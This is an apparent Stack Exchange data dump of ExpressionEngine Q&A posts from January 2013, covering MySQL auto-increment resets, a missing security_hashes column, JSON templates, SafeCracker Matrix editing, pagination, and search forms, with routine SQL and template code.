  <row Id="4906" PostTypeId="2" ParentId="2328" CreationDate="2013-01-16T18:28:09.727" Score="1" Body="&lt;p&gt;I finally  got in touch with Chris Newton from CartThrob and they are going to be able to help us out with this.  Thank you everyone who responded.  I will let you all know how it goes.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2013-01-16T18:28:09.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4907" PostTypeId="1" AcceptedAnswerId="4908" CreationDate="2013-01-16T18:32:03.757" Score="4" ViewCount="281" Body="&lt;p&gt;This may be just me being a stickler for order, but sometimes I start a new project using an old database where I have to delete a bunch of data. Some of that data includes member info. Now, while deleting members, if I add a new one, the member ID assigned to that member is based on the previously added/deleted member. So if the last member was ID 200, the new member is ID 201.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I delete it all down to the original 4 members, Member ID still follows the last one when I add the 5th member! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it's like, Member ID 1, 2, 3, 4, then 201. Which looks super super odd.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IN SHORT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I delete members &amp;amp; add a new one, is it possible to have their member ID to be consecutive to current member IDs, not the deleted?&lt;/p&gt;&#xA;" OwnerUserId="66" LastEditorUserId="66" LastEditDate="2013-01-16T18:37:08.483" LastActivityDate="2013-01-16T18:49:38.930" Title="Changing Member ID #s - possible?" Tags="|members|database|mysql|member-details|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4908" PostTypeId="2" ParentId="4907" CreationDate="2013-01-16T18:38:25.427" Score="8" Body="&lt;p&gt;What you're referring to is the auto increment value in a table. You can change this by running the following query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ALTER TABLE mytable AUTO_INCREMENT = X&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...where &lt;code&gt;X&lt;/code&gt; is the &lt;strong&gt;next&lt;/strong&gt; number you'd expect for your IDs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a database-level change and not something ExpressionEngine has as a &#xA;&quot;feature&quot;. Only make this change if you understand you might break something.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If I delete members &amp;amp; add a new one, is it possible to have their member ID to be consecutive to current member IDs, not the deleted?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Ultimately, I'd say &quot;get over it&quot; (as a friend, of course). Keeping the IDs in order is not worth the hassle (and potential risk) involved.&lt;/p&gt;&#xA;" OwnerUserId="199" LastEditorUserId="199" LastEditDate="2013-01-16T18:49:38.930" LastActivityDate="2013-01-16T18:49:38.930" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4909" PostTypeId="2" ParentId="4907" CreationDate="2013-01-16T18:39:07.193" Score="6" Body="&lt;p&gt;This is because all “id” columns in EE are set to &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.0/en/example-auto-increment.html&quot;&gt;AUTO_INCREMENT&lt;/a&gt; in MySQL. Expressionengine is never explicitly choosing what the next member/entry/etc.’s ID is going to be – MySQL assigns it automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MySQL stores the latest auto-increment value internally, and it won’t automatically drop it back when a row is deleted. Some tools like phpMyAdmin will let you reset the auto increment value. But it’s probably not a good idea to mess with it, especially when talking about EE, since other areas of the system might still be referring to that deleted member, via their now nonexistent member_id. (Other systems solve this problem using foreign keys, but EllisLab chose not to use those in ExpressionEngine.)&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-01-16T18:39:07.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4910" PostTypeId="2" ParentId="4871" CreationDate="2013-01-16T18:46:33.803" Score="6" Body="&lt;p&gt;The installer/update script doesn't create the missing column. You can create it manually if you're comfortable editing your database. I was updating from 2.4 to 2.5.5 and ran into the same issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As with anything you should back up your database BEFORE doing the update or this procedure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run the following SQL on your database;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ALTER TABLE  `exp_security_hashes` ADD  `session_id` VARCHAR( 40 ) NOT NULL DEFAULT  '0' AFTER  `date`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will create the necessary column. You can then run the admin.php script and all should be well. I've just done it and everything came back to normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure why this isn't automatically created. I haven't yet looked at the update script itself to see if it's missing or just failing for some reason. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;There is a function in one of the update files (ud_254.php) that changes the column &lt;code&gt;ip_address&lt;/code&gt; to &lt;code&gt;session_id&lt;/code&gt;. Whether that fails to execute because of permissions, a bug, or if the &lt;code&gt;session_id&lt;/code&gt; column is used before is updated I do not yet know.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2013-01-17T17:02:29.707" LastActivityDate="2013-01-17T17:02:29.707" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4911" PostTypeId="2" ParentId="4845" CreationDate="2013-01-16T19:05:10.327" Score="6" Body="&lt;p&gt;this is because on the first request to a folder, Assets will create thumbnails appropriate for your screen (retina or not).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For 100+ files, that's 100+ requests that aren't instant and browsers limit simultaneous requests to the same server, so it's browser hitting the limit because of the initial processing required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this, though, the images will be created and stored and you shouldn't experience it for the same folder again. Even more - if you use the same browser, these images will be cached and won't make any requests at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this clears things up for you!&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-01-16T19:05:10.327" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4912" PostTypeId="2" ParentId="4885" CreationDate="2013-01-16T19:38:27.333" Score="2" Body="&lt;p&gt;Well once you run that through a &lt;a href=&quot;http://meyerweb.com/eric/tools/dencoder/&quot; rel=&quot;nofollow&quot;&gt;URL decoder&lt;/a&gt; you can see it's just serialized data being URL encoded for some reason. One of my clients' EE 1.7.1 site has similar serialized data being stored, just not URL encoded, so the serialization aspect is a-ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All-of-a-sudden changes like this I find can sometimes be traced back to the webhost updating PHP or Apache versions or the like. It's worth asking them if any such updates were made recently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, since this is apparently a cookie issue, is it replicable in other browsers/platforms?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I would have posted this as a comment instead of an answer, since it's not really an answer, but the rep system isn't allowing me to comment on things yet... :-/ )&lt;/p&gt;&#xA;" OwnerUserId="544" LastActivityDate="2013-01-16T19:38:27.333" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4913" PostTypeId="2" ParentId="4825" CreationDate="2013-01-16T20:05:04.030" Score="15" Body="&lt;p&gt;Here’s an extension that should do the trick for you: &lt;a href=&quot;https://github.com/pixelandtonic/wygwam_jquery_spellchecker&quot;&gt;Wygwam jQuery Spellchecker&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enjoy!&lt;/p&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditDate="2013-01-16T20:54:34.880" LastActivityDate="2013-01-16T20:54:34.880" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4914" PostTypeId="2" ParentId="695" CreationDate="2013-01-16T20:47:20.070" Score="10" Body="&lt;p&gt;I have recently used EE templates to make JSON output from channels that contain a range of custom fields, including P&amp;amp;T’s Playa, Matrix and Wygwam fieldtypes. Those that are not familiar with JSON might find this useful. While it is a bit fiddly, all that is really required is a resource who is familiar with the JSON syntax/format to help you craft the template properly.&lt;/p&gt;&#xA;&lt;h2&gt;Add-ons&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/low-replace&quot; rel=&quot;noreferrer&quot;&gt;Low_Replace&lt;/a&gt;&#xA;This add-on is used to find and replace entities that need to be either stripped or changed in your resulting data to validate as proper JSON. For example: double quotes, line breaks, or tabs.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/http-header&quot; rel=&quot;noreferrer&quot;&gt;HTTP_Header&lt;/a&gt;&#xA;This add-on is used to set the proper content type in your http header to JSON. Place this tag at the top of your template: {exp:http_header content_type=&amp;quot;application/json&amp;quot;}&lt;/p&gt;&#xA;&lt;h2&gt;Links&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://jsonlint.com/&quot; rel=&quot;noreferrer&quot;&gt;JSON Validator&lt;/a&gt;,&#xA;&lt;a href=&quot;http://spibey.com/blog/2012/01/formatting-channel-entries-as-json-in-expressionengine/&quot; rel=&quot;noreferrer&quot;&gt;Formatting EE Entries as JSON&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2&gt;End of Line Syntax&lt;/h2&gt;&#xA;&lt;p&gt;Dealing with end of line syntax (comma or no comma), is the biggest challenge I came across. I used the backspace param on the main channel entry tag and conditional tags when building arrays (matrix or playa fields).&lt;/p&gt;&#xA;&lt;h3&gt;Matrix Example&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;{if balloons != &amp;quot;&amp;quot;},&#xA;    &amp;quot;Balloons&amp;quot;: [ &#xA;    {balloons}{&#xA;        &amp;quot;colour&amp;quot;: &amp;quot;{colour}&amp;quot;,&#xA;        &amp;quot;size&amp;quot;: &amp;quot;{size}&amp;quot;&#xA;    }{if row_count != total_rows},{/if}&#xA;    {/balloons} &#xA;    ]&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;Playa Example&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;{if blocks != &amp;quot;&amp;quot;},&#xA;    &amp;quot;Blocks&amp;quot;: [ &#xA;    {blocks}{&#xA;        &amp;quot;colour&amp;quot;: &amp;quot;{colour}&amp;quot;, &#xA;        &amp;quot;size&amp;quot;: &amp;quot;{size}&amp;quot;&#xA;    }{if {exp:playa:total_children field=&amp;quot;blocks&amp;quot;} != &amp;quot;{count}&amp;quot;},{/if}&#xA;    {/blocks} &#xA;    ]&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I put the previous line’s end-of-line comma at the beginning of the next conditional. That way, if balloons or blocks is empty and nothing prints, then the previous line will be the last line and there should be no comma.&#xA;To deal with the same issue within the matrix or playa arrays, I use row_count, count, and total:children variables to figure out if a line is not the last line and should thus have a comma.&lt;/p&gt;&#xA;&lt;h2&gt;Remove/Replace Entities&lt;/h2&gt;&#xA;&lt;p&gt;I use the Low Replace tags to escape double quotes, replace line breaks and remove tabs like thus:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_replace multiple=&amp;quot;yes&amp;quot; regex=&amp;quot;yes&amp;quot; find=&amp;quot;QUOTE|NEWLINE|/\t/&amp;quot; replace=&amp;quot;\QUOTE|SPACE|&amp;quot;}&#xA;    {body}&#xA;{/exp:low_replace} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This works nicely when using a P&amp;amp;T Wygwam field that may have odd things in them. You can use regex here, so look into that when needed.&lt;/p&gt;&#xA;&lt;p&gt;Tips&#xA;Watch for extra spaces when using the backspace param. Your closing channel entry tag needs to immediately following the last comma like thus:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&amp;quot;ch_member_profiles&amp;quot; backspace=&amp;quot;1&amp;quot;}&#xA;    …&#xA;},{/exp:channel:entries}&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="706" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-01-16T20:47:20.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4915" PostTypeId="1" AcceptedAnswerId="4947" CreationDate="2013-01-16T21:20:30.717" Score="7" ViewCount="224" Body="&lt;p&gt;When updating modules locally we typically use DevDemon Updater to shorten the install process. Many modules run SQL queries when updating which is not version controlled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is rather than ignoring the third_party folder in Git and installing the modules twice, what would be the cleanest &amp;amp; quickest way to do module updates and SQL queries with version control? Is there an action to trigger module SQL updates automatically?&lt;/p&gt;&#xA;" OwnerUserId="4" LastActivityDate="2013-01-17T10:59:44.157" Title="Updating modules + Updater + Version control + Beanstalk" Tags="|git|updating|devdemon-updater|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4916" PostTypeId="1" AcceptedAnswerId="4922" CreationDate="2013-01-16T21:32:26.033" Score="3" ViewCount="500" Body="&lt;p&gt;I have a SafeCracker form where I've hard-coded the Matrix fields to customize the way they are displayed. It is working fine as an entry form, but I'm having trouble using it as an edit field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My safecracker tag is wrapped in a channel entries tag, so I can get the values of the form fields when editing, but using the code below, when I have multiple matrix rows, the edit field just shows a single row, but with multiple values within each field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get it to display multiple rows when editing?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;name_relationship&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;form_name_relationship[row_order][]&quot; value=&quot;row_new_0&quot; /&amp;gt;&#xA;    &amp;lt;label for=&quot;&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;form_name_relationship[row_new_0][col_id_14]&quot;  value=&quot;{form_name_relationship}{name}{/form_name_relationship}&quot;/&amp;gt;&#xA;&amp;lt;label for=&quot;&quot;&amp;gt;Relationship&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;form_name_relationship[row_new_0][col_id_15]&quot; value=&quot;{form_name_relationship}{name}{/form_name_relationship}&quot;/&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;a href=&quot;#&quot; class=&quot;button radius tiny addname&quot;&amp;gt;+ Add Name&amp;lt;/a&amp;gt; &amp;lt;a href=&quot;#&quot; class=&quot;button     radius tiny remname&quot;&amp;gt;&amp;amp;ndash; Remove Name&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;$(&quot;.addname&quot;).live('click',function(e){&#xA;    e.preventDefault();&#xA;    var $name_relationship = $(&quot;div.name_relationship:eq(0)&quot;);&#xA;    var $clone = $name_relationship.clone().html().replace(/row_new_0/g,'row_new_');&#xA;    $(&quot;div.name_relationship:last&quot;).after('&amp;lt;div                     class=&quot;name_relationship&quot;&amp;gt;'+$clone+'&amp;lt;/div&amp;gt;');&#xA;})&#xA;$(&quot;.remname&quot;).click(function(e){&#xA;    e.preventDefault();&#xA;    if($(&quot;div.name_relationship&quot;).length &amp;gt; 1)&#xA;    {&#xA;        $(&quot;div.name_relationship:last&quot;).remove();&#xA;    }&#xA;})&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="213" LastActivityDate="2013-01-16T22:31:15.590" Title="Editing customized matrix fields in safecracker" Tags="|safecracker|matrix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4917" PostTypeId="1" AcceptedAnswerId="4929" CreationDate="2013-01-16T21:51:14.797" Score="3" ViewCount="282" Body="&lt;p&gt;Suppose I have a Safecracker form that will edit channel entries. Once the entry is edited I want to display something like &quot;Thanks for editing your entry&quot; on the edit entry page. How would I go about displaying a thank you message on successful form submission? I do not want to be redirected to another page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is example code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker channel=&quot;channel_name&quot; return=&quot;channel_name/edit/ENTRY_ID&quot; entry_id=&quot;{segment_3}&quot;}&#xA;&#xA;Title:&amp;lt;input name=&quot;title&quot; type=&quot;text&quot; value=&quot;{title}&quot;&amp;gt;&#xA;&amp;lt;br/&amp;gt;&amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;&#xA;{/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="830" LastActivityDate="2013-01-17T01:22:14.370" Title="Safecracker Return Message on Form Submission" Tags="|safecracker|entry|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4918" PostTypeId="1" AcceptedAnswerId="4923" CreationDate="2013-01-16T22:03:36.303" Score="2" ViewCount="156" Body="&lt;p&gt;I am using {pagination_links} and the code is not rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my complete code for my channel entries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;section class=&quot;blog&quot;&amp;gt;&#xA;&#xA;{exp:channel:entries channel=&quot;journal&quot; disable=&quot;categories|category-fields|member-data&quot; limit=&quot;1&quot;}&#xA;&amp;lt;article class=&quot;blog-summary m-all t-all d1-d4 &quot;&amp;gt;&#xA;&amp;lt;time&amp;gt;{entry_date format=&quot;%Y-%m-%t&quot;}&amp;lt;/time&amp;gt;&#xA;&amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;m-all t1-t2 d1-d2&quot;&amp;gt;&#xA;{journal_text_1}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;m-all t1-t2 d3-d4&quot;&amp;gt;&#xA;{journal_text_2}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;{exp:channel_images:images entry_id=&quot;{entry_id}&quot;}&#xA;&amp;lt;figure class=&quot;blog-image m-all t1-t2 d-all&quot;&amp;gt;&amp;lt;img src=&quot;{image:url:large}&quot;  alt=&quot;{image:description}&quot;&amp;gt;&amp;lt;/figure&amp;gt;&#xA;{/exp:channel_images:images}&#xA;&#xA;&amp;lt;hr class=&quot;m-all t1-t2 d-all m-clear t-clear d-clear&quot;&amp;gt;&#xA;&amp;lt;/article&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;m-all t1-t2 d-all m-clear t-clear d-clear&quot;&amp;gt;&#xA;{pagination_links}&#xA;    {page}&#xA;        &amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&#xA;    {/page}&#xA;{/pagination_links}&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&#xA;&amp;lt;/section&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And on the front end it renders like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{pagination_links} {page} {pagination_page_number} {/page} {/pagination_links}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NT&lt;/p&gt;&#xA;" OwnerUserId="527" LastEditorUserId="527" LastEditDate="2013-01-16T22:48:02.153" LastActivityDate="2013-01-16T22:57:54.183" Title="Pagination Links Don't Render" Tags="|pagination|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4919" PostTypeId="1" AcceptedAnswerId="4930" CreationDate="2013-01-16T22:05:28.743" Score="2" ViewCount="675" Body="&lt;p&gt;Basically, I didn't need anything fancy. The simple example with some stripped out pieces would suffice, but I would like them to be able to simple search all entries by author, or any other segment for that matter. The problem I run into is every time I submit the search, I am told &quot;You did not submit a search term.&quot; from the standard EE error screen. I have usually just built my searches but figured it would be better to use the search module as is rather than allowing PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My template is as follows. Am I missing something simple here?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:advanced_form result_page=&quot;search/results&quot; no_result_page=&quot;search/no_results&quot; channel=&quot;blog_post&quot; status=&quot;not_closed&quot; search_in=&quot;everywhere&quot; where=&quot;all&quot; show_expired=&quot;no&quot; show_future_entries=&quot;no&quot;}&#xA;    &amp;lt;table cellpadding='4' cellspacing='6' border='0' width='100%' style=&quot;margin: 1em 0 0 0;&quot;&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td colspan=&quot;2&quot;&amp;gt;&#xA;                &amp;lt;fieldset class=&quot;fieldset&quot;&amp;gt;&#xA;                    &amp;lt;legend&amp;gt;{lang:search_by_keyword}&amp;lt;/legend&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; class=&quot;input&quot; maxlength=&quot;250&quot; name=&quot;keywords&quot; style=&quot;width:100%;&quot; /&amp;gt;&#xA;                &amp;lt;/fieldset&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;    &amp;lt;table cellpadding='4' cellspacing='6' border='0' width='100%' style=&quot;margin: 1em 0 0 0;&quot;&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td width=&quot;50%&quot;&amp;gt;&#xA;                &amp;lt;fieldset class=&quot;fieldset&quot;&amp;gt;&#xA;                    &amp;lt;legend&amp;gt;Search by Author&amp;lt;/legend&amp;gt;&#xA;                    &amp;lt;div class=&quot;default&quot;&amp;gt;&#xA;                        &amp;lt;select name=&quot;where&quot;&amp;gt;&#xA;                            &amp;lt;option value=&quot;any&quot; selected=&quot;selected&quot;&amp;gt;Any&amp;lt;/option&amp;gt;&#xA;                            {snippet_active_authors}&#xA;                        &amp;lt;/select&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/fieldset&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;            &amp;lt;td width=&quot;50%&quot;&amp;gt;&#xA;                &amp;lt;fieldset class=&quot;fieldset&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;defaultBold&quot;&amp;gt;{lang:categories}&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;select name='cat_id[]' size='5'  class='multiselect' multiple='multiple'&amp;gt;&#xA;                        &amp;lt;option value='all' selected=&quot;selected&quot;&amp;gt;{lang:any_category}&amp;lt;/option&amp;gt;&#xA;                        {snippet_active_categories}&#xA;                    &amp;lt;/select&amp;gt;&#xA;                &amp;lt;/fieldset&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;    &amp;lt;table cellpadding='4' cellspacing='6' border='0' width='100%' style=&quot;margin: 1em 0 0 0;&quot;&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td valign=&quot;top&quot; width=&quot;50%&quot;&amp;gt;&#xA;                &amp;lt;fieldset class=&quot;fieldset&quot;&amp;gt;&#xA;                    &amp;lt;legend&amp;gt;{lang:search_entries_from}&amp;lt;/legend&amp;gt;&#xA;                    &amp;lt;select name=&quot;date&quot; style=&quot;width:150px&quot;&amp;gt;&#xA;                        &amp;lt;option value=&quot;0&quot; selected=&quot;selected&quot;&amp;gt;{lang:any_date}&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;option value=&quot;1&quot; &amp;gt;{lang:today_and}&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;option value=&quot;7&quot; &amp;gt;{lang:this_week_and}&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;option value=&quot;30&quot; &amp;gt;{lang:one_month_ago_and}&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;option value=&quot;90&quot; &amp;gt;{lang:three_months_ago_and}&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;option value=&quot;180&quot; &amp;gt;{lang:six_months_ago_and}&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;option value=&quot;365&quot; &amp;gt;{lang:one_year_ago_and}&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;/select&amp;gt;&#xA;                    &amp;lt;div class=&quot;default&quot;&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;default&quot;&amp;gt;&#xA;                        &amp;lt;input type='radio' name='date_order' value='newer' class='radio' checked=&quot;checked&quot; /&amp;gt;&amp;amp;nbsp;{lang:newer}&#xA;                        &amp;lt;input type='radio' name='date_order' value='older' class='radio' /&amp;gt;&amp;amp;nbsp;{lang:older}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/fieldset&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;            &amp;lt;td valign=&quot;top&quot; width=&quot;50%&quot;&amp;gt;&#xA;                &amp;lt;fieldset class=&quot;fieldset&quot;&amp;gt;&#xA;                    &amp;lt;legend&amp;gt;{lang:sort_results_by}&amp;lt;/legend&amp;gt;&#xA;                    &amp;lt;select name=&quot;orderby&quot;&amp;gt;&#xA;                        &amp;lt;option value=&quot;date&quot; &amp;gt;{lang:date}&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;option value=&quot;title&quot; &amp;gt;{lang:title}&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;/select&amp;gt;&#xA;                    &amp;lt;div class=&quot;default&quot;&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;default&quot;&amp;gt;&#xA;                        &amp;lt;input type='radio' name='sort_order' class=&quot;radio&quot; value='desc' checked=&quot;checked&quot; /&amp;gt; {lang:descending}&#xA;                        &amp;lt;input type='radio' name='sort_order' class=&quot;radio&quot; value='asc' /&amp;gt; {lang:ascending}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/fieldset&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;    &amp;lt;table cellpadding='4' cellspacing='6' border='0' width='100%' style=&quot;margin: 1em 0 0 0;&quot;&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td colspan=&quot;2&quot;&amp;gt;&#xA;                &amp;lt;fieldset class=&quot;fieldset&quot;&amp;gt;&#xA;                    &amp;lt;div class='searchSubmit' style=&quot;text-align: right;&quot;&amp;gt;&#xA;                        &amp;lt;input type='submit' value='Search' class='submit' /&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/fieldset&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;{/exp:search:advanced_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks all.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-05-31T14:24:10.003" Title="Example advanced search form allowing no keywords" Tags="|ee2|search|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4920" PostTypeId="2" ParentId="4918" CreationDate="2013-01-16T22:07:02.447" Score="1" Body="&lt;p&gt;The code looks correct to me. I don't think it's a required paramater but try adding &lt;code&gt;paginate='bottom'&lt;/code&gt; to your channel entries open tag. That would make it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:entries channel=&quot;journal&quot; disable=&quot;categories|category-fields|member-data&quot; limit=&quot;1&quot; paginate=&quot;bottom&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="199" LastActivityDate="2013-01-16T22:07:02.447" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4922" PostTypeId="2" ParentId="4916" CreationDate="2013-01-16T22:31:15.590" Score="4" Body="&lt;p&gt;You can use Matrix’s template tags to recreate the original rows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{form_name_relationship}&#xA;    &amp;lt;div class=&quot;name_relationship&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;form_name_relationship[row_order][]&quot; value=&quot;row_id_{row_id}&quot; /&amp;gt;&#xA;        &amp;lt;label for=&quot;&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;form_name_relationship[row_id_{row_id}][col_id_14]&quot;  value=&quot;{this_col_name}&quot;/&amp;gt;&#xA;        &amp;lt;label for=&quot;&quot;&amp;gt;Relationship&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;form_name_relationship[row_id_{row_id}][col_id_15]&quot; value=&quot;{that_col_name}&quot;/&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/form_name_relationship}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace “&lt;code&gt;{this_col_name}&lt;/code&gt;” and “&lt;code&gt;{that_col_name}&lt;/code&gt;” with the actual column names.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-01-16T22:31:15.590" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
